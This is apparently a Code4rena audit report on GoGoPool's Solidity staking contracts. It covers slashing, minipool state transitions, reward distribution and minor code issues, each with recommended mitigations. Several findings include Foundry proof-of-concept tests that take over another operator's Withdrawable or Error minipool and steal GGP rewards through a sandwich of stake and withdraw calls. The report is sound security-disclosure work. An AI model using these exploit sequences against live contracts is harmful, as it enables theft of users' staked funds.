GoGoPool contest - cozzetti's results

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/Staking.sol#L382

Vulnerability details

Impact

When a node operator is slashed, a portion of their staked GGP tokens are taken. This is implemented in the private slash function of the MinipoolManager contract. Which in turn executes the slashGGP function of the Staking contract. In this function, once the staker's GGP stake is decreased, the corresponding GGP tokens are assigned to the ProtocolDAO contract on the Vault contract.

However, there's no way for the ProtocolDAO contract to actually use those tokens. So they will be stuck in the vault.

The lack of documentation and tests on this mechanic of the protocol doesn't allow me to exactly tell what's the intended use of slashed GGP tokens. But it's likely slashed GGP tokens were intended to be transferred to the ClaimProtocolDAO contract (instead of ProtocolDAO), where there's a spend function the guardian can call to spend available GGP tokens.

Tools Used

Manual review

Recommended Mitigation Steps

Either assign the slashed tokens to the ClaimProtocolDAO contract, or implement a mechanism for the ProtocolDAO contract to use the tokens. In any case, document and test the intended use of slashed GGP tokens.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L243 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L152

Vulnerability details

Impact

To create a minipool using the createMinipool function of the MinipoolManager contract, a nodeID must be provided. The function intendedly allows overwriting an existing node. According to a comment, overwriting must only be allowed if the node is finished or canceled state.

However, the function only validates that the minipool can be moved to the Prelaunch state. This is done calling the private requireValidStateTransition function. Which allows going to the Prelaunch state, not only from the Finished or Canceled state, but also from the Withdrawable or Error state.

As a consequence, it's possible for anyone to overwrite existing nodes that are in Withdrawable or Error state. Any staker can do this, before the legitimate owner can withdraw their funds. Ultimately, this will cause the original owner to lose their funds.

Proof of Concept

Paste the following Foundry tests in the MinipoolManager.t.sol file:

function testExploitTakeoverOfWithdrwableMinipool() public {
		address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
		vm.prank(liqStaker1);
		ggAVAX.depositAVAX{value: MAX_AMT}();

		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;
		uint128 ggpStakeAmt = 200 ether;

		// Create a minipool
		vm.startPrank(nodeOp);
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(ggpStakeAmt);
		MinipoolManager.Minipool memory minipool = createMinipool(depositAmt, avaxAssignmentRequest, duration);
		vm.stopPrank();

		vm.startPrank(address(rialto));
		minipoolMgr.claimAndInitiateStaking(minipool.nodeID);
		bytes32 txID = keccak256("txid");
		minipoolMgr.recordStakingStart(minipool.nodeID, txID, block.timestamp);

		skip(duration);

		// Move to Withdrawable state
		uint256 rewards = 10 ether;
		deal(address(rialto), address(rialto).balance + rewards);
		minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(minipool.nodeID, block.timestamp, rewards);
		vm.stopPrank();

		// Minipool is now in Withdrawable state
		minipool = minipoolMgr.getMinipool(minipool.index);
		assertEq(minipool.status, uint256(MinipoolStatus.Withdrawable));

		// Attacker creates a minipool using nodeID of the pool in Withdrawable state
		address attacker = getActorWithTokens("attacker", 10000 ether, 10000 ether);
		vm.startPrank(attacker);
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(500 ether);
		uint256 amount = 1000 ether;
		minipoolMgr.createMinipool{value: amount}(
			minipool.nodeID,
			2 weeks, // duration
			0.02 ether, // delegation fee
			amount // avaxAssignmentRequest
		);
		vm.stopPrank();

		// Attacker has taken over the minipool
		minipool = minipoolMgr.getMinipoolByNodeID(minipool.nodeID);
		assertEq(minipool.owner, attacker);
		assertEq(minipool.status, uint256(MinipoolStatus.Prelaunch));
		
		// The original operator cannot withdraw funds
		vm.startPrank(nodeOp);
		vm.expectRevert(MinipoolManager.OnlyOwner.selector);
		minipoolMgr.withdrawMinipoolFunds(minipool.nodeID);
		vm.stopPrank();
	}

function testExploitTakeoverOfErrorMinipool() public {
		address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
		vm.prank(liqStaker1);
		ggAVAX.depositAVAX{value: MAX_AMT}();

		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;
		uint128 ggpStakeAmt = 200 ether;

		// Create a minipool
		vm.startPrank(nodeOp);
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(ggpStakeAmt);
		MinipoolManager.Minipool memory minipool = createMinipool(depositAmt, avaxAssignmentRequest, duration);
		vm.stopPrank();

		// Init staking
		vm.startPrank(address(rialto));
		minipoolMgr.claimAndInitiateStaking(minipool.nodeID);
		bytes32 txID = keccak256("txid");
		minipoolMgr.recordStakingStart(minipool.nodeID, txID, block.timestamp);

		skip(duration);

		// Record error
		bytes32 errorCode = "SOME_ERROR_CODE";
		minipoolMgr.recordStakingError{value: validationAmt}(minipool.nodeID, errorCode);

		// Minipool is now in Error state
		minipool = minipoolMgr.getMinipool(minipool.index);
		assertEq(minipool.status, uint256(MinipoolStatus.Error));
		vm.stopPrank();

		// Attacker creates a minipool using nodeID of the pool in Error state
		address attacker = getActorWithTokens("attacker", 10000 ether, 10000 ether);
		vm.startPrank(attacker);
		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(500 ether);
		uint256 amount = 1000 ether;
		minipoolMgr.createMinipool{value: amount}(
			minipool.nodeID,
			2 weeks, // duration
			0.02 ether, // delegation fee
			amount // avaxAssignmentRequest
		);
		vm.stopPrank();

		// Attacker has taken over the minipool
		minipool = minipoolMgr.getMinipoolByNodeID(minipool.nodeID);
		assertEq(minipool.owner, attacker);
		assertEq(minipool.status, uint256(MinipoolStatus.Prelaunch));
		
		// The original operator cannot withdraw funds because it's no longer the owner
		vm.startPrank(nodeOp);
		vm.expectRevert(MinipoolManager.OnlyOwner.selector);
		minipoolMgr.withdrawMinipoolFunds(minipool.nodeID);
		vm.stopPrank();
	}

Tools Used

Manual review + Foundry

Recommended Mitigation Steps

Don't allow overwriting minipools until their legitimate owners have claimed their funds.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L560

Vulnerability details

Impact

In the createMinipool function of the MinipoolManager contract, the duration parameter is not validated. While in the tests it's usually set to 2 weeks, there's nothing preventing the creator to set any other uint256 value.

Considering the amount of AVAX rewards (as dictated by the getExpectedAVAXRewardsAmt function of the MinipoolManager contract) increases with the duration, it may be possible for a malicious minipool creator to exploit the lack of validations in the duration parameter. There are at least two relevant scenarios to consider.

The higher the duration set by the creator, the greater the amount of AVAX rewards received when the staking period is ended. Note that the recordStakingEnd function also lacks validation on the duration of a minipool (as reported in another issue). So a greater duration value may not affect the amount of time the minipool needs to wait before it's moved to the Withdrawable state, where the creator will be able to effectively withdraw the manipulated rewards.

Alternatively, setting the duration to an absurdly large value (such as 2^256 - 1) also creates an interesting scenario. In this case, the getExpectedAVAXRewardsAmt function will be rendered unusable for the corresponding node. Because it will always revert due to an arithmetic overflow when calculating the rewards. Ultimately, this means that it would become impossible to slash a minipool with such a duration, since the Minipool:slash function queries the getExpectedAVAXRewardsAmt.

It can be argued that if the trusted partners in the system see a minipool created with a surprisingly large duration, it's likely they may not even initiate staking for the minipool. Still, given the off-chain validations and operations of these partners is out of scope, it's relevant to highlight these potential issues.

Tools Used

Manual review

Recommended Mitigation Steps

Set explicit boundaries on the duration parameter during the creation of the minipool.

Judge has assessed an item in Issue #260 as 2 risk. The relevant finding follows:

[L2] Withdrawable minipool can be finished before funds are withdrawn

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/Staking.sol#L381 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L675-L676

Vulnerability details

Impact

The slashing functionality is mostly implemented in the private slash function of the MinipoolManager contract. The amount to be slashed is calculated calling the calculateGGPSlashAmt function. The amount returned by this function is finally taken from the amount of GGP staked by the node within the slashGGP function of the Staking contract.

However, the code never checks whether the node has sufficient GGP staked to cover the slashed amount. It simply attempts to slash the full amount calculated by calculateGGPSlashAmt. If there's not enough GGP at stake available to cover the full amount, the call to the decreaseGGPStake function will revert with an arithmetic error, and the whole slashing operation will be reverted.

Because the value returned by calculateGGPSlashAmt depends on the price of GGP in AVAX, when the price of GGP drops, more GGP will be needed to cover the entire slashing. Therefore, any drop in the price of GGP in AVAX might trigger this scenario. It will also necessarily depend on the amount of GGP staked by a node operator.

Proof of Concept

Paste the following Foundry test in the MinipoolManager.t.sol file:

function testSlashingRevertsWithArithmeticError() public {
		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmount = depositAmt + avaxAssignmentRequest;
		uint128 initialGGPStakeAmount = 100 ether;

		vm.startPrank(nodeOp);
		ggp.approve(address(staking), initialGGPStakeAmount);
		staking.stakeGGP(initialGGPStakeAmount);
		MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration);
		vm.stopPrank();

		address liqStaker = getActorWithTokens("liqStaker", MAX_AMT, MAX_AMT);
		vm.prank(liqStaker);
		ggAVAX.depositAVAX{value: MAX_AMT}();

		vm.startPrank(address(rialto));
		minipoolMgr.claimAndInitiateStaking(mp1.nodeID);

		bytes32 txID = keccak256("txid");
		minipoolMgr.recordStakingStart(mp1.nodeID, txID, block.timestamp);

		skip(duration);

		// GGP Price in AVAX drops
		oracle.setGGPPriceInAVAX(0.035 ether, block.timestamp);

		// There won't be enough GGP to cover the full slashing amount
		// so slashing becomes impossible
		vm.expectRevert(stdError.arithmeticError);
		minipoolMgr.recordStakingEnd{value: validationAmount}(
			mp1.nodeID,
			block.timestamp,
			0 ether // to trigger slashing of GGP
		);
		vm.stopPrank();
	}

Tools Used

Manual review + Foundry

Recommended Mitigation Steps

The case where there's not enough GGP at stake to cover the full slashing amount must be explicitly handled. There's currently no documentation, tests nor a specification that states what is the expected behavior of the system in this scenario. One possible mitigation might be to slash the available amount of GGP stake when the full amount cannot be covered. The staker would still owe GGP to the protocol, but it could be a better scenario than not slashing at all.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/Staking.sol#L297

Vulnerability details

Impact

GGP rewards are distributed to node operators using the permissioned calculateAndDistributeRewards function of the ClaimNodeOp contract. The amount of GGP rewards stakers are assigned depends on their amount of "effective" GGP staked. This amount is queried from the getEffectiveGGPStaked function of the Staking contract when distributing rewards for a given staker. In turn, the getEffectiveGGPStaked function uses the effective collateralization ratio in its calculations. This ratio is queried from the getEffectiveRewardsRatio function, which returns a ratio between 0 and 1.5e18. The more GGP a staker has staked, the higher the ratio returned by getEffectiveRewardsRatio (as calculated here). In short, this means the more GGP a staker is currently staking, the more rewards it gets assigned during distribution in the ClaimNodeOp contract. Up to 150% of collateralization.

Given the amount staked by a staker is calculated on the spot, a malicious staker might attempt to execute a sandwich attack on the multisig transaction that executes calculateAndDistributeRewards for their address. The sandwich would open with a transaction that first increases the GGP at stake, and close with a transaction that withdraws the deposited GGP. However, this may be pointless. Because rewards are capped at 150% of collateralization, and any attempt to withdraw staked GGP below the 150% ratio will revert. So any reward manipulation in this state seems impossible. If the attacker is already above 150% collateralization, the stake deposited opening the sandwich won't be considered to calculate rewards. Alternatively, if the attacker is below 150%, and pushes the ratio up to 150% when opening the sandwich, it won't be able to close the sandwich due to falling below the 150% collateralization ratio.

However, this attack can be performed by a staker with a minipool in Error state.

This is because when the minipool is moved to the Error state, the AVAX assigned drops to zero. And when its AVAX assigned is zero, the staker's collateralization ratio is always "infinite". A malicious staker can exploit this behavior to perform the described sandwich attack, because its collateralization ratio will always be above 150%, and therefore the closing transaction of the sandwich won't revert. This allows the attacker to manipulate the assigned GGP rewards. Ultimately stealing the GGP rewards if they claim them before any other staker.

I show the attack vector step by step in the proof of concept below.

Proof of Concept

Paste the following Foundry test in the ClaimNodeOp.t.sol file:

function testStealRewardsDuringErrorState() public {
		skip(dao.getRewardsCycleSeconds());
		rewardsPool.startRewardsCycle();

		// attacker deposits AVAX, stakes GGP and creates a Minipool. Then Rialto starts it.
		address attacker = getActorWithTokens("attacker", MAX_AMT, MAX_AMT);
		vm.startPrank(attacker);
		ggAVAX.depositAVAX{value: 2000 ether}();
		ggp.approve(address(staking), MAX_AMT);
		uint256 initialAttackerGGPStake = 100 ether;
		staking.stakeGGP(initialAttackerGGPStake);
		MinipoolManager.Minipool memory attackerMinipool = createMinipool(1000 ether, 1000 ether, 2 weeks);
		rialto.processMinipoolStart(attackerMinipool.nodeID);
		vm.stopPrank();

		// another operator deposits AVAX, stakes GGP and creates a Minipool. Then Rialto starts the minipool.
		address nodeOperator = getActorWithTokens("nodeOperator", MAX_AMT, MAX_AMT);
		vm.startPrank(nodeOperator);
		ggAVAX.depositAVAX{value: 2000 ether}();
		ggp.approve(address(staking), MAX_AMT);
		uint256 nodeOperatorGGPStake = 100 ether;
		staking.stakeGGP(nodeOperatorGGPStake);
		MinipoolManager.Minipool memory minipool = createMinipool(1000 ether, 1000 ether, 2 weeks);
		rialto.processMinipoolStart(minipool.nodeID);
		vm.stopPrank();
		
		// Attacker's minipool is moved to the `Error` state
		vm.prank(address(rialto));
		bytes32 someErrorCode = bytes32(hex"01");
		minipoolMgr.recordStakingError{value: 2000 ether}(attackerMinipool.nodeID, someErrorCode);
		assertEq(
			uint256(minipoolMgr.getMinipoolByNodeID(attackerMinipool.nodeID).status),
			uint256(MinipoolStatus.Error)
		);

		// Before rialto distributes GGP rewards for attacker, attacker frontruns, increasing its GGP stake.
		vm.prank(attacker);
		uint256 newAttackerGGPStake = 100 ether;
		staking.stakeGGP(newAttackerGGPStake);

		vm.startPrank(address(rialto));
		nopClaim.calculateAndDistributeRewards(attacker, initialAttackerGGPStake + nodeOperatorGGPStake);
		nopClaim.calculateAndDistributeRewards(nodeOperator, initialAttackerGGPStake + nodeOperatorGGPStake);

		// attacker increased its GGP stake, so it gets more rewards
		assertEq(staking.getGGPRewards(attacker), (nopClaim.getRewardsCycleTotal()));

		// the other node operator got assigned rewards as well
		assertEq(staking.getGGPRewards(nodeOperator), (nopClaim.getRewardsCycleTotal()) / 2);
		vm.stopPrank();

		// Now attacker withdraws all their staked GPP, and all assigned rewards
		vm.startPrank(attacker);
		staking.withdrawGGP(staking.getGGPStake(attacker));
		nopClaim.claimAndRestake(staking.getGGPRewards(attacker));
		vm.stopPrank();

		// Because the attacker took all rewards from the vault, the node operator cannot claim theirs,
		// even if they are assigned.
		vm.startPrank(nodeOperator);
		uint256 nodeOp2GGPRewards = staking.getGGPRewards(nodeOperator);
		assertTrue(nodeOp2GGPRewards > 0);
		vm.expectRevert(Vault.InsufficientContractBalance.selector);
		nopClaim.claimAndRestake(nodeOp2GGPRewards);
		vm.stopPrank();
	}

Tools Used

Manual review

Recommended Mitigation Steps

One possible approach to mitigate this issue is to modify the ClaimNodeOp::calculateAndDistributeRewards function to accept the rewards amount for the given stakerAddr as a parameter. This value would be calculated off-chain by the multisig operators, and submitted in the call. The function would then check the provided value against the on-chain calculation, and revert if they differ.

Low risk

[L1] Staking can be ended before the duration period passes

The recordStakingEnd function of the MinipoolManager contract does not validate the duration of a minipool. This means it's possible to end staking for a minipool before the actual owner-specified duration period passes. To reproduce, paste the following test in the MinipoolManager.t.sol file:

function testPrematureStakingEndPossible() public {
    address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
    vm.prank(liqStaker1);
    ggAVAX.depositAVAX{value: MAX_AMT}();

    uint256 duration = 2 weeks;
    uint256 depositAmt = 1000 ether;
    uint256 avaxAssignmentRequest = 1000 ether;
    uint256 validationAmt = depositAmt + avaxAssignmentRequest;
    uint128 ggpStakeAmt = 200 ether;

    vm.startPrank(nodeOp);
    ggp.approve(address(staking), MAX_AMT);
    staking.stakeGGP(ggpStakeAmt);
    MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration);
    vm.stopPrank();

    vm.startPrank(address(rialto));
    minipoolMgr.claimAndInitiateStaking(mp1.nodeID);
    bytes32 txID = keccak256("txid");
    minipoolMgr.recordStakingStart(mp1.nodeID, txID, block.timestamp);

    // Do not skip whole duration
    // skip(duration);
    skip(1);

    uint256 rewards = 10 ether;
    deal(address(rialto), address(rialto).balance + rewards);
    minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp1.nodeID, block.timestamp, rewards);
}

I'd recommend adding a validation in the recordStakingEnd contract to ensure the duration period has passed since the minipool's startTime. This way users will have on-chain verifications that prevent mistakes in the recording of end of staking.

[L2] Withdrawable minipool can be finished before funds are withdrawn

Given its name and docstings, the finishFailedMinipoolByMultisig function of the MinipoolManager is only intended to be executed by a trusted multisig to finish a minipool that is in the Error state. However, the function does not validate the current state of the minipool, but rather that it can be moved to the Finished state. This means that any healthy minipool in the Withdrawable state can be finished by the multisig using this function. In that scenario, the owner of the minipool would not be able to collect their funds or awards, which would be lost.

It's known that multisigs are already fully trusted actors in the system. Yet this appears to be an unintentional oversight in the finishFailedMinipoolByMultisig function that is granting unnecessary, untested and undocumented powers to the multisig.

[L3] Potentially incorrect accounting of minipools

The Staking contract keeps track of how many minipools each staker has. The amount can be increased and decreased with the increaseMinipoolCount and decreaseMinipoolCount functions. These are called from the MinipoolManager contract.

When a minipool is created, the counter is increased. To keep a proper accounting, before the minipool reaches the Finished state, the counter must be reduced. However, there's a state transition path where the counter is not correctly handled.

Say the minipool is in Staking state. Now it's moved to the Error state using the recordStakingError function. The counter hasn't changed. Now the minipool is moved to the Finished state, using the finishFailedMinipoolByMultisig function. Still, the counter hasn't changed. This means that the minipool can reach the Finished state, and the staker will end with an erroneous minipool count.

I'd recommend correctly decreasing the minipool count in the finishFailedMinipoolByMultisig function, making sure to add the corresponding unit tests.

[L4] Effective rewards ratio is unaffected by ProtocolDAO settings

The effective rewards ratio is not affected by minimum collateralization ratio set by the ProtocolDAO. This can be seen in the getEffectiveRewardsRatio of the Staking contract, where instead of querying the value from getMinCollateralizationRatio function of the ProtocolDAO contract, the code uses a hardcoded 0.1 ether value, which may deviate from what the DAO decides.

[L5] Rewards may be distributed to non-eligible stakers

The calculateAndDistributeRewards function of the ClaimNodeOp contract does not check that the given stakerAddr address is indeed eligible for rewards. Therefore, rewards could be distributed to non-eligible stakers.

The check can be implemented using the isEligible function.

While distributing rewards is only executed by a trusted partner, it would still be relevant to have on-chain verification on whether stakers are indeed eligible, so as to avoid granting unnecessary powers.

[L6] Logging incorrect amount when rewards cycle is started

In the startRewardsCycle function of the RewardsPool contract, the event NewRewardsCycleStarted is intended to emit the amount of rewards about to be distributed.

However, it's always emitting an outdated value. Because when emit NewRewardsCycleStarted(getRewardsCycleTotalAmt()); is executed, the inflate function hasn't been executed yet. And therefore the attribute RewardsCycleTotalAmt read by getRewardsCycleTotalAmt() hasn't been updated with the amount of tokens to be distributed as rewards.

The event must be emitted after inflate is called. Also recommend including tests for this event to ensure it's always emitting the expected value.

[L7] Incomplete staker information

The getStaker function of the Staking contract is not reading all available attributes of a staker. It is missing to assign the avaxAssignedHighWater property. As a result, it will always be read as zero.

[L8] Incorrect version in Ocyticus contract

The Ocyticus contract is not setting the inherited version state variable to 1 in its constructor. As a result, it will default to zero.

[L9] Unused delegation fee

In the createMinipool function of the MinipoolManager contract, the delegation fee parameter is not validated, used nor tested. According to the available documentation, it is supposed to be between 0 and 1 ether, but this is never enforced. Also, the parameter is never used by the protocol, other than to be written to state.

I recommend better specifying the intended use of the delegation fee, actually using it in the on-chain code if needed, and including unit tests to ensure its use is expected.

Non-critical

### [NC1] Not centrally defining string identifiers for contracts

There's a number of strings used to identify contracts scattered throughout the code base. These are:

• ProtocolDAO
• TokenggAVAX
• MinipoolManager
• Staking
• MultisigManager
• Vault
• TokenGGP
• ClaimProtocolDAO
• Oracle
• RewardsPool

These seems to be an error-prone approach, which can also make maintenance more difficult. It would be best to define these strings in a centralized library, and then import them as necessary.

[NC2] Not checking multisig address is deployed contract

The registerMultisig function of the MultisigManager contract should check that the passed address is indeed a deployed contract. This can be done checking that the external code size of the passed address is greater than zero.

[NC3] Multisigs cannot be unregistered

There's no way of unregistering a multisig in the MultisigManager contract. This scenario is not specified in the available documentation, so it is unclear whether the lack of this functionality is intended and known or not. Raising it just in case.

[NC4] Unused imports and errors

To improve readability and avoid confusions, remove the following imports and errors, because they are not used:

• The TokenGGP import in Vault.sol
• The ERC20Upgradeable import in TokenggAVAX.sol
• The InvalidNetworkContract, TokenTransferFailed and VaultTokenWithdrawalFailed errors declared in the Vault contract.

[NC5] Not emitting relevant events

• The addAllowedToken and removeAllowedToken functions of the Vault contract perform sensitive guardian actions that should emit a corresponding event to ease off-chain tracking.
• The withdrawMinipoolFunds function of the MinipoolManager contract is not emitting a MinipoolStatusChanged event after moving to the minipool's state to Finished.